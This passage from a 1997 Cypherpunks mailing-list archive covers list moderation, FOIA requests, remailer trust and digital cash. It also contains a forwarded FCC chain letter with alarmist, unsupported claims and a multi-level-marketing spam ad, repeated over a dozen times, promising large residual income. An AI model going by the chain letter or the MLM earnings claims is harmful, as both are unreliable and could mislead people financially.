(PST) Subject: EXTRA CHARGE FOR INTERNET SERVICE ! Message-ID: <199702062129.VAA26030@niven.imsweb.net> Just received this from another mailing list. PLEASE FORWARD TO ALL INTERESTED PARTIES I am writing you this to inform you of a very important matter currently under review by the FCC. Your local telephone company has filed a proposal with the FCC to impose per minute charges for your internet service. They contend that your usage has or will hinder the operation of the telephone network. It is my belief that internet usage will diminish if users were required to pay additional per minute charges. The FCC has created an email box for your comments, responses must be received by February 13, 1997. Send your comments to isp at fcc.gov and tell them what you think. Every phone company is in on this one, and they are trying to sneak it in just under the wire for litigation. Let everyone you know here this one. Get the e-mail address to everyone you can think of. isp at fcc.gov Please forward this email to all your friends on the internet so all our voices may be heard! It's time to let them know just who is paying their salaries. Don't sit back and be quite on this one, SPEAK YOUR MIND, LET THEM KNOW THIS IS BULLSHIT !!!!!!!!!! Just passing it along... Brian Adrian e-mail: chow at niven.imsweb.net Web page: http://home.imsweb.net/~chow/ From stend at sten.tivoli.com Thu Feb 6 13:48:22 1997 From: stend at sten.tivoli.com (Firebeard) Date: Thu, 6 Feb 1997 13:48:22 -0800 (PST) Subject: "Why am I being completely censored"? In-Reply-To: <199702062102.NAA29965@toad.com> Message-ID: >>>>> John Gilmore writes: JG> Hmm. Your message that I just received, about this problem, was JG> cc'd to cypherpunks. It did not make it into the JG> cypherpunks-unedited list. In examining the message header JG> itself, there is an "Approved: yes" line. My guess is that your JG> attempt to be too tricky has screwed you. It appears that this was the problem. Deal with a self-moderated newsgroup, and ent up with self-censorship. *shrug*. I wish that John had helped to resolve the problem before I made it public, but that's life. -- #include /* Sten Drescher */ ObCDABait: For she doted upon their paramours, whose flesh is as the flesh of asses, and whose issue is like the issue of horses. [Eze 23:20] ObFelony: President Clinton, you suck, and those boys died! Unsolicited bulk email will be stored and handled for a US$500/KB fee. From steve at idoru.demon.co.uk Thu Feb 6 13:50:10 1997 From: steve at idoru.demon.co.uk (steve) Date: Thu, 6 Feb 1997 13:50:10 -0800 (PST) Subject: No Subject Message-ID: <01BC1475.54A10860@idoru> I have been trying to get off this list for nearly a week now. The instructions given in the welcome message don't work. Get me off this list now.! I joined to learn about cryptography, not listen to some socially retarded juveniles argue over who's got the biggest dick. -----Original Message----- From: Majordomo at toad.com [SMTP:Majordomo at toad.com] Sent: 06 February 1997 19:43 To: steve Subject: Your Majordomo request results -- Your request of Majordomo was: >>>> ------ =_NextPart_000_01BC1463.B5C5FAE0 END OF COMMANDS From stewarts at ix.netcom.com Thu Feb 6 13:52:56 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Thu, 6 Feb 1997 13:52:56 -0800 (PST) Subject: Cypherpunks FOIA request In-Reply-To: <199702060356.TAA11723@toad.com> Message-ID: <3.0.1.32.19970206125537.00602408@popd.ix.netcom.com> At 06:49 PM 2/5/97 -0800, Lucky Green wrote: >My attorney used to fly planes with nuclear cargo. Another friend of mine >has been visited several times by the FBI. In either case, the FBI claimed >upon receiving an FOIA request that they have no record on either person. >Does anybody here believe that the USAF would let pilots take off with >nukes on board without ever conducting a background investigation (which >are handled by the FBI)? I didn't think so. Background investigations for defense contractors are handled by DISCO, the Defense Industrial Security Clearance Office; I don't know if they also do internal military clearance work, but I'd assume it's _somebody_ on the military side rather than FBI, though presumably the military does also check FBI records (and the FBI probably doesn't have a blanket policy of always lying to the military :-) Nuclear clearances presumably go into more depth... As far as your friend being visited by the FBI several times, that's obviously part of an ongoing criminal investigation (:-), so they don't have to tell you. If they're still thinking about going back and harassing your friend, it's still ongoing, even if they now know that he is or is not a Commie Sympathizer. That, or they could have just been unable to find the records. Anything computerized should be findable (doesn't mean it _is_, just that it should be), though they're probably more organized about finding things they want to find than finding things you want them to find. But records that exist only on paper are a lot tougher to wade through; you can't grep dead trees, and if your friend was being checked out as "somebody suspicious who knows somebody we're trying to investigate/harass", the files may not be indentified under your friend's name, or may be stored in some big warehouse where nobody's waded through them in decades. # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From bryce at digicash.com Thu Feb 6 14:15:06 1997 From: bryce at digicash.com (Bryce) Date: Thu, 6 Feb 1997 14:15:06 -0800 (PST) Subject: e$ plug, Moderation, Cypherpunks as a bird in the bush In-Reply-To: <199702061511.HAA24942@toad.com> Message-ID: <199702062214.XAA15376@digicash.com> -----BEGIN PGP SIGNED MESSAGE----- A million monkeys operating under the pseudonym "Greg Broiles " typed: > > I think that Bob's e$ list should be considered a viable alternative to the > other two filtered cpunks lists; I recommend it to people looking for a > moderated alternative to the list. I like "e$", although I seem to be too busy to contribute regularly to _any_ forum recently. (I'm always available for Real Life Meetings in local bars, though... Anybody going to visit Amsterdam soon?) > I've been meaning to write up a long message explaining why I think I'm about > to drop off of the list. It's peculiar to spend a lot of time discussing > things with a group of people over the course of several years and then > disappear without saying why. But I'm having trouble coming up with anything > more profound than "it's not interesting any more." Hey, that's a sufficiently profound "death of cpunks" statement for me. I feel the same way-- though I've never been a very active participant, I really dropped out a few months ago. I feel like there is more to learn and discuss. _Much_ more. It keeps me awake at night sometimes, not knowing exactly what it is but waiting for it. But I've had my fill of cypherpunks, and my Objectivist newsgroup (humanities.philosophy.objectivism), and simplistic libertarianism. Keep in touch. :-) Bryce Not speaking for DigiCash. PGP sig follows -----BEGIN PGP SIGNATURE----- Version: 2.6.2i Comment: Auto-signed under Unix with 'BAP' Easy-PGP v1.1b2 iQB1AwUBMvpXvUjbHy8sKZitAQGJ4gL+LClz+b4VwAQdFra5GowzNDOqKEqnhpib yri3mEEFKU9x35J9Dqu8XHu/TQOJuB5S8LdAmtesvLuKEGkjpVKPHXrSDik5efyp rWY9pJbjq/UBqYosCgx2PzHILTsh/UMw =ZVwu -----END PGP SIGNATURE----- From mix-admin at nym.alias.net Thu Feb 6 14:17:40 1997 From: mix-admin at nym.alias.net (lcs Remailer Administrator) Date: Thu, 6 Feb 1997 14:17:40 -0800 (PST) Subject: WANTED: Tolerant, anonymity-friendly news admins Message-ID: <19970206221726.11238.qmail@anon.lcs.mit.edu> Because of recent attacks on the remailer network and mail2news gateways, I may loose access to at least one of the news servers I currently feed news to from my mail2news gateway. If you are a news administrator, believe in free speech and anonymity, and you would like to help the cause, please consider giving transfer (aka "IHAVE" or "hosts.nntp") privileges to this machine. You will not be the only server, and so do not need to worry about being the point of entrance of mail2news articles to Usenet. Please contact me if you can help. Thank you. For those who oppose the existence of mail2news gateways, you should know that we are taking steps to limit the abuse. However, doing so without in any way limiting articles that abide by the usage policy is tricky, and must be done carefully. Please be patient. From jer+ at andrew.cmu.edu Thu Feb 6 14:43:12 1997 From: jer+ at andrew.cmu.edu (Jeremiah A Blatz) Date: Thu, 6 Feb 1997 14:43:12 -0800 (PST) Subject: anonymous remailers In-Reply-To: <32fa39d8.16371604@mail-relay.internetmci.com> Message-ID: <0myZru200YUh099eM0@andrew.cmu.edu> -----BEGIN PGP SIGNED MESSAGE----- c.musselman at internetmci.com (Charley Musselman) writes: > C'punks -- > When I told a friend about the alt.drugs.pot cultivation newsgroup > and suggested that he use an anonymous remailer to post to the group, > he laughed and said, "Who do you suppose runs the remailers? ATF, > FBI, DEA, that's who!" Gee, it makes sense to this paranoid. Does > anyone know the answer? Specifically, how can we choose a trusted > remailer? The solution is not to choose a trusted remailer, but to choose a group of remailers and send your message through each one sequentially. If you use encryption, and any one of the remailers you send your message through is trustworthy, than it is difficult or impossible for someone to trace your message. Here are some places to go to find more info on remailers: http://WWW.CSUA.Berkeley.EDU/cypherpunks/remailer/ http://www.stack.nl/~galactus/remailers/index-anon.html http://www.cs.berkeley.edu/~raph/remailer-list.html (Look at the bottom, there's everything you need to know there.) Please bear in mind that anon.penet.fi no longer exists, and that it wasn't all that secure when it did. Hope this helps, and happy growing :-) Jer "standing on top of the world/ never knew how you never could/ never knew why you never could live/ innocent life that everyone did" -Wormhole -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBMvpd9skz/YzIV3P5AQGIyAL/eFZ1sLcO0Gx/0BadHnhQVzJZowmJOcAq uChnzxSZmSQ8VRSHNjSh8H5i65jw1BIqWlsA8Oe7jnhRcPIqOcmNIdtTJwXP4qV7 HJO+uZwwKP7td5HPTzjD1f8iyO9VIRCj =p5V+ -----END PGP SIGNATURE----- From perry at alpha.jpunix.com Thu Feb 6 14:55:37 1997 From: perry at alpha.jpunix.com (John A. Perry) Date: Thu, 6 Feb 1997 14:55:37 -0800 (PST) Subject: Updated type2.list/pubring.mix Message-ID: -----BEGIN PGP SIGNED MESSAGE----- I have just updated the type2.list/pubring.mix combination on jpunix.com. This change reflects the retirement of the lead remailer. The files are available by anon FTP from ftp.jpunix.com as well as by Web from www.jpunix.com. John Perry KG5RG perry at alpha.jpunix.com PGP-encrypted e-mail welcome! Amateur Radio Address: kg5rg at kg5rg.ampr.org WWW - http://www.jpunix.com PGP 2.62 key for perry at jpunix.com is on the keyservers. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMvphXlOTpEThrthvAQGUUQP+Ky4BkG/WYyVKCp0gAANWIGF6or7yd0nm IKCxRSMr2YU2znuEmks0DfxgxEeXMO5ZC7squdWkHnQJ6IDfBPydYn7KMNV+oUAu QjH9lTEVqnlJk515xSC5lCZwqTgMwHBZZhGJyvYlJam5A3EZLrALdFUFdFagKWRN 3dc5iLDuZ94= =pAwB -----END PGP SIGNATURE----- From starvino at gte.net Thu Feb 6 14:59:16 1997 From: starvino at gte.net (starvino at gte.net) Date: Thu, 6 Feb 1997 14:59:16 -0800 (PST) Subject: Kool! Klassy! Klever! Message-ID: <199702062259.QAA13344@smtp.gte.net> If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply. DebtKrapper??? (K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded) If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then: 1) you are in trouble, and 2) You are just like millions of others who need help NOW. ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH, is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! If your lottery tickets are worth less than toilet paper and you�re not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!) DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM: � 3 x 7 forced matrix + extras � the most FUN NEWSLETTER on the Internet (also the most modest) * Up to $6400/month from the original matrix * extensive company advertising = SPILLOVER! For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to: starvino at gte.net This is a company-sponsored ad. You will be placed in the highest available spot in the COMPANY matrix. IMPORTANT: We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know! If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply. DebtKrapper??? (K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded) If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then: 1) you are in trouble, and 2) You are just like millions of others who need help NOW. ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH, is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! If your lottery tickets are worth less than toilet paper and you�re not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!) DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM: � 3 x 7 forced matrix + extras � the most FUN NEWSLETTER on the Internet (also the most modest) * Up to $6400/month from the original matrix * extensive company advertising = SPILLOVER! For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to: starvino at gte.net This is a company-sponsored ad. You will be placed in the highest available spot in the COMPANY matrix. IMPORTANT: We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know! If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply. DebtKrapper??? (K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded) If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then: 1) you are in trouble, and 2) You are just like millions of others who need help NOW. ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH, is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! If your lottery tickets are worth less than toilet paper and you�re not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!) DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM: � 3 x 7 forced matrix + extras � the most FUN NEWSLETTER on the Internet (also the most modest) * Up to $6400/month from the original matrix * extensive company advertising = SPILLOVER! For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to: starvino at gte.net This is a company-sponsored ad. You will be placed in the highest available spot in the COMPANY matrix. IMPORTANT: We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know! If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply. DebtKrapper??? (K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded) If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then: 1) you are in trouble, and 2) You are just like millions of others who need help NOW. ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH, is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! If your lottery tickets are worth less than toilet paper and you�re not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!) DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM: � 3 x 7 forced matrix + extras � the most FUN NEWSLETTER on the Internet (also the most modest) * Up to $6400/month from the original matrix * extensive company advertising = SPILLOVER! For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to: starvino at gte.net This is a company-sponsored ad. You will be placed in the highest available spot in the COMPANY matrix. IMPORTANT: We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know! If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply. DebtKrapper??? (K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded) If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then: 1) you are in trouble, and 2) You are just like millions of others who need help NOW. ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH, is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! If your lottery tickets are worth less than toilet paper and you�re not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!) DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM: � 3 x 7 forced matrix + extras � the most FUN NEWSLETTER on the Internet (also the most modest) * Up to $6400/month from the original matrix * extensive company advertising = SPILLOVER! For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to: starvino at gte.net This is a company-sponsored ad. You will be placed in the highest available spot in the COMPANY matrix. IMPORTANT: We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know! If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply. DebtKrapper??? (K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded) If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then: 1) you are in trouble, and 2) You are just like millions of others who need help NOW. ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH, is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! If your lottery tickets are worth less than toilet paper and you�re not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!) DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM: � 3 x 7 forced matrix + extras � the most FUN NEWSLETTER on the Internet (also the most modest) * Up to $6400/month from the original matrix * extensive company advertising = SPILLOVER! For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to: starvino at gte.net This is a company-sponsored ad. You will be placed in the highest available spot in the COMPANY matrix. IMPORTANT: We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know! If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply. DebtKrapper??? (K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded) If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then: 1) you are in trouble, and 2) You are just like millions of others who need help NOW. ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH, is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! If your lottery tickets are worth less than toilet paper and you�re not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!) DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM: � 3 x 7 forced matrix + extras � the most FUN NEWSLETTER on the Internet (also the most modest) * Up to $6400/month from the original matrix * extensive company advertising = SPILLOVER! For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to: starvino at gte.net This is a company-sponsored ad. You will be placed in the highest available spot in the COMPANY matrix. IMPORTANT: We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know! If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply. DebtKrapper??? (K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded) If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then: 1) you are in trouble, and 2) You are just like millions of others who need help NOW. ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH, is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! If your lottery tickets are worth less than toilet paper and you�re not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!) DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM: � 3 x 7 forced matrix + extras � the most FUN NEWSLETTER on the Internet (also the most modest) * Up to $6400/month from the original matrix * extensive company advertising = SPILLOVER! For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to: starvino at gte.net This is a company-sponsored ad. You will be placed in the highest available spot in the COMPANY matrix. IMPORTANT: We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know! If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply. DebtKrapper??? (K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded) If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then: 1) you are in trouble, and 2) You are just like millions of others who need help NOW. ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH, is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! If your lottery tickets are worth less than toilet paper and you�re not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!) DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM: � 3 x 7 forced matrix + extras � the most FUN NEWSLETTER on the Internet (also the most modest) * Up to $6400/month from the original matrix * extensive company advertising = SPILLOVER! For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to: starvino at gte.net This is a company-sponsored ad. You will be placed in the highest available spot in the COMPANY matrix. IMPORTANT: We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know! If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply. DebtKrapper??? (K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded) If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then: 1) you are in trouble, and 2) You are just like millions of others who need help NOW. ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH, is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! If your lottery tickets are worth less than toilet paper and you�re not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!) DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM: � 3 x 7 forced matrix + extras � the most FUN NEWSLETTER on the Internet (also the most modest) * Up to $6400/month from the original matrix * extensive company advertising = SPILLOVER! For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to: starvino at gte.net This is a company-sponsored ad. You will be placed in the highest available spot in the COMPANY matrix. IMPORTANT: We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know! If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply. DebtKrapper??? (K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded) If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then: 1) you are in trouble, and 2) You are just like millions of others who need help NOW. ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH, is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! If your lottery tickets are worth less than toilet paper and you�re not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!) DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM: � 3 x 7 forced matrix + extras � the most FUN NEWSLETTER on the Internet (also the most modest) * Up to $6400/month from the original matrix * extensive company advertising = SPILLOVER! For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to: starvino at gte.net This is a company-sponsored ad. You will be placed in the highest available spot in the COMPANY matrix. IMPORTANT: We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know! If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply. DebtKrapper??? (K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded) If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then: 1) you are in trouble, and 2) You are just like millions of others who need help NOW. ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH, is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! If your lottery tickets are worth less than toilet paper and you�re not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!) DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM: � 3 x 7 forced matrix + extras � the most FUN NEWSLETTER on the Internet (also the most modest) * Up to $6400/month from the original matrix * extensive company advertising = SPILLOVER! For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to: starvino at gte.net This is a company-sponsored ad. You will be placed in the highest available spot in the COMPANY matrix. IMPORTANT: We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know! If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply. DebtKrapper??? (K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded) If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then: 1) you are in trouble, and 2) You are just like millions of others who need help NOW. ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH, is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! If your lottery tickets are worth less than toilet paper and you�re not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!) DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM: � 3 x 7 forced matrix + extras � the most FUN NEWSLETTER on the Internet (also the most modest) * Up to $6400/month from the original matrix * extensive company advertising = SPILLOVER! For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to: starvino at gte.net This is a company-sponsored ad. You will be placed in the highest available spot in the COMPANY matrix. IMPORTANT: We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know! From frissell at panix.com Thu Feb 6 15:01:03 1997 From: frissell at panix.com (Duncan Frissell) Date: Thu, 6 Feb 1997 15:01:03 -0800 (PST) Subject: FinCEN hates cybercash, who 'da thunk it... Message-ID: <199702062301.PAA02200@toad.com> -----BEGIN PGP SIGNED MESSAGE----- >But Stanley Morris of the United States Treasury, who chaired a FAFT >working group which drafted the report, told a news conference that >law enforcement agencies would face 'very major new challenges' if new >technology moves the world "to a cashless society, beyond banks, cash >and borders." Oh No! First they told us that they were all in favor of a cashless society because they could track all the transactions. It was their Orwellian Dream. Now Nirvana has almost arrived and they're afraid of it. Can't they make up their minds? I noticed the problem long about 1975 when I noticed that the spread of ATM cards was actually the spread of a bearer instrument and would not satisfy the control needs of the regulatory types. DCF -----BEGIN PGP SIGNATURE----- Version: 4.5 iQCVAgUBMvpDW4VO4r4sgSPhAQFNzQP/TOFgteQk7mry+GSqew1Yee4i24oOwJKS HWIkmkekJB+JeaYiR3/od78ZfJUchJR6iH3isKD4a3ijofpGstXWKrmHGpPpZUJu 9ng7MxOn4fYOWSzcP2TnNOjq5rc6IA2ROahGD2OHkHPYp8bjS36ssbu1GmGbHofQ pvkUXNxrdIk= =VKtO -----END PGP SIGNATURE----- From c.musselman at internetmci.com Thu Feb 6 15:01:08 1997 From: c.musselman at internetmci.com (Charley Musselman) Date: Thu, 6 Feb 1997 15:01:08 -0800 (PST) Subject: anonymous remailers Message-ID: <199702062301.PAA02208@toad.com> C'punks -- When I told a friend about the alt.drugs.pot cultivation newsgroup and suggested that he use an anonymous remailer to post to the group, he laughed and said, "Who do you suppose runs the remailers? ATF, FBI, DEA, that's who!" Gee, it makes sense to this paranoid. Does anyone know the answer? Specifically, how can we choose a trusted remailer? Cheers (?), Charley From chow at niven.imsweb.net Thu Feb 6 15:01:39 1997 From: chow at niven.imsweb.net (Brian Adrian) Date: Thu, 6 Feb 1997 15:01:39 -0800 (PST) Subject: EXTRA CHARGE FOR INTERNET SERVICE ! Message-ID: <199702062301.PAA02239@toad.com> Just received this from another mailing list. PLEASE FORWARD TO ALL INTERESTED PARTIES I am writing you this to inform you of a very important matter currently under review by the FCC. Your local telephone company has filed a proposal with the FCC to impose per minute charges for your internet service. They contend that your usage has or will hinder the operation of the telephone network. It is my belief that internet usage will diminish if users were required to pay additional per minute charges. The FCC has created an email box for your comments, responses must be received by February 13, 1997. Send your comments to isp at fcc.gov and tell them what you think. Every phone company is in on this one, and they are trying to sneak it in just under the wire for litigation. Let everyone you know here this one. Get the e-mail address to everyone you can think of. isp at fcc.gov Please forward this email to all your friends on the internet so all our voices may be heard! It's time to let them know just who is paying their salaries. Don't sit back and be quite on this one, SPEAK YOUR MIND, LET THEM KNOW THIS IS BULLSHIT !!!!!!!!!! Just passing it along... Brian Adrian e-mail: chow at niven.imsweb.net Web page: http://home.imsweb.net/~chow/ From gnu at toad.com Thu Feb 6 15:01:41 1997 From: gnu at toad.com (John Gilmore) Date: Thu, 6 Feb 1997 15:01:41 -0800 (PST) Subject: "Why am I being completely censored"? 